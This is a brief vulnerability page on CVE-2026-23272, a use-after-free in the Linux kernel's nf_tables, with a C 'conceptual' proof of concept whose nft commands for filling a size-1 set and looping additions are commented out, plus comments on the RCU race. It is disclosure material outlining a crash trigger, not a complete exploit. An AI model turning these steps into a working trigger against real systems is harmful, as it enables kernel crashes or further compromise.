CVE-2026-23272 Linux内核nf_tables释放后使用漏洞

/* * Conceptual Proof of Concept for CVE-2026-23272 * Triggering UAF in nf_tables by filling a set. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // This is a simplified representation. Actual exploitation requires Netlink communication. int main(int argc, char **argv) { printf("[+] CVE-2026-23272 PoC Start\n"); // Step 1: Create a table and a set with a specific size limit (e.g., size 1) // system("nft add table ip poc_table"); // system("nft add set ip poc_table poc_set { type ipv4_addr; size 1; }"); // Step 2: Fill the set to its limit // system("nft add element ip poc_table poc_set { 192.168.1.1 }"); printf("[*] Attempting to trigger race condition by adding element to full set...\n"); // Step 3: Loop to add an element to the full set. // This triggers the publish -> remove (without RCU grace) path. // Concurrent RCU readers might crash. for(int i = 0; i < 1000; i++) { // system("nft add element ip poc_table poc_set { 10.0.0.1 }"); // In a real exploit, threading is used to ensure RCU reader is active during removal. } printf("[-] PoC finished. Check kernel logs for crashes.\n"); return 0; }